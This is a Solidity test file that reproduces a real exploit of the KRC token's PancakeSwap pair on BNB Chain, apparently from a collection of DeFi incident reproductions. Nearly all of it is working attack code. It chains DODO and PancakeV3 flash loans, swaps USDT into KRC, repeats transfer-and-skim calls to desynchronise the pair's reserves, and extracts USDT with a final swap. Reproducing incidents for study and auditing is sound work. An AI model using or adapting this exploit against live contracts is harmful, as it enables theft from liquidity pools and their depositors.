src/test/2025-05/KRCToken_pair_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 7k USD
8// Attacker : https://bscscan.com/address/0x9943f26831f9b468a7fe5ac531c352baab8af655
9// Attack Contract : 0xd995edcab2efe3283514ff111cedc9aaff0349c8
10// Vulnerable Contract : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5
11// Attack Tx : https://bscscan.com/tx/0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5#code
15 
16// @Analysis
17// Post-mortem : https://x.com/OpenZeppelin/status/1953111764536561867
18// Twitter Guy : https://x.com/CertikAIAgent/status/1924280794916536765
19// Hacking God : N/A
20 
21contract KRC_Exploit is BaseTestWithBalanceLog {
22    uint256 blocknumToForkFrom = 49875424 - 1;
23    uint256 dodo_borrow_amount = 248157126634995412253694;
24 
25    // --- Contracts ---
26    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
27    IERC20 krcToken = IERC20(0x1814a8443F37dDd7930A9d8BC4b48353FE589b58);
28    I0x6098_DPP_DODO dodo_private_pool = I0x6098_DPP_DODO(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
29    IPancakeV3Pool pancake_v3_pool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
30    IUniswapV2Router router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
31    IPancakePair krc_pair = IPancakePair(0xdBEAD75d3610209A093AF1D46d5296BBeFFd53f5);
32 
33    function setUp() public {
34        vm.createSelectFork("bsc", blocknumToForkFrom);
35        fundingToken = address(usdt);
36    }
37 
38    function testExploit() public balanceLog {
39        // Step 1: Initial Flashloan from Dodo Private Pool
40        dodo_private_pool.flashLoan(0, dodo_borrow_amount, address(this), new bytes(1));
41    }
42 
43    // Step 2: Dodo Flashloan Callback
44    function DPPFlashLoanCall(address, uint256, uint256, bytes calldata) external {
45        // Step 3: Nested Flashloan from PancakeV3 Pool
46        uint256 pcv3_flash_amount = 100000000000000000000000;
47        pancake_v3_pool.flash(address(this), pcv3_flash_amount, 0, new bytes(1));
48 
49        // Step 10: Repay Dodo Flashloan at the very end
50        usdt.transfer(address(dodo_private_pool), dodo_borrow_amount);
51    }
52 
53    // Step 4: PancakeV3 Flashloan Callback (Core Exploit Logic)
54    function pancakeV3FlashCallback(uint256, uint256, bytes memory) public {
55        usdt.approve(address(router), type(uint256).max);
56 
57        uint256 deadline = 1747556507;
58        address[] memory path = new address[](2);
59        path[0] = address(usdt);
60        path[1] = address(krcToken);
61 
62        // Step 5: First swap (USDT -> KRC) with a large amount to initiate the imbalance
63        uint256 amountIn1 = 144116157450400259173940;
64        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn1, 0, path, address(this), deadline);
65 
66        // Step 6: Second swap (USDT -> KRC) with the remaining balance
67        uint256 amountIn2 = 204040969184595153079754; // Hardcoded from trace
68        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn2, 0, path, address(this), deadline);
69 
70        // Step 7: The core manipulation. A series of 17 precise transfers and skims
71        // This desynchronizes the pair's cached reserves from its actual token balances.
72        // The values are taken directly from the original attack transaction.
73        krcToken.transfer(address(krc_pair), 26158607120271760914);
74        krc_pair.skim(address(this));
75        krcToken.transfer(address(krc_pair), 23542746408244584823);
76        krc_pair.skim(address(this));
77        krcToken.transfer(address(krc_pair), 21188471767420126341);
78        krc_pair.skim(address(this));
79        krcToken.transfer(address(krc_pair), 19069624590678113707);
80        krc_pair.skim(address(this));
81        krcToken.transfer(address(krc_pair), 17162662131610302337);
82        krc_pair.skim(address(this));
83        krcToken.transfer(address(krc_pair), 15446395918449272104);
84        krc_pair.skim(address(this));
85        krcToken.transfer(address(krc_pair), 13901756326604344894);
86        krc_pair.skim(address(this));
87        krcToken.transfer(address(krc_pair), 12511580693943910405);
88        krc_pair.skim(address(this));
89        krcToken.transfer(address(krc_pair), 11260422624549519365);
90        krc_pair.skim(address(this));
91        krcToken.transfer(address(krc_pair), 10134380362094567429);
92        krc_pair.skim(address(this));
93        krcToken.transfer(address(krc_pair), 9120942325885110687);
94        krc_pair.skim(address(this));
95        krcToken.transfer(address(krc_pair), 8208848093296599619);
96        krc_pair.skim(address(this));
97        krcToken.transfer(address(krc_pair), 7387963283966939658);
98        krc_pair.skim(address(this));
99        krcToken.transfer(address(krc_pair), 6649166955570245693);
100        krc_pair.skim(address(this));
101        krcToken.transfer(address(krc_pair), 5984250260013221124);
102        krc_pair.skim(address(this));
103        krcToken.transfer(address(krc_pair), 5385825234011899012);
104        krc_pair.skim(address(this));
105        krcToken.transfer(address(krc_pair), 2980897375759759211);
106        
107        // Step 8: The profitable swap, extracting a huge amount of USDT
108        uint256 amountOutUSDT = 355361934507515425212391;
109        krc_pair.swap(0, amountOutUSDT, address(this), new bytes(0));
110 
111        // Step 9: Repay the PancakeV3 flash loan with its fee
112        uint256 pcv3_repay_amount = 100050000000000000000000;
113        usdt.transfer(address(pancake_v3_pool), pcv3_repay_amount);
114    }
115}
116 
117interface I0x6098_DPP_DODO {
118    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;
119}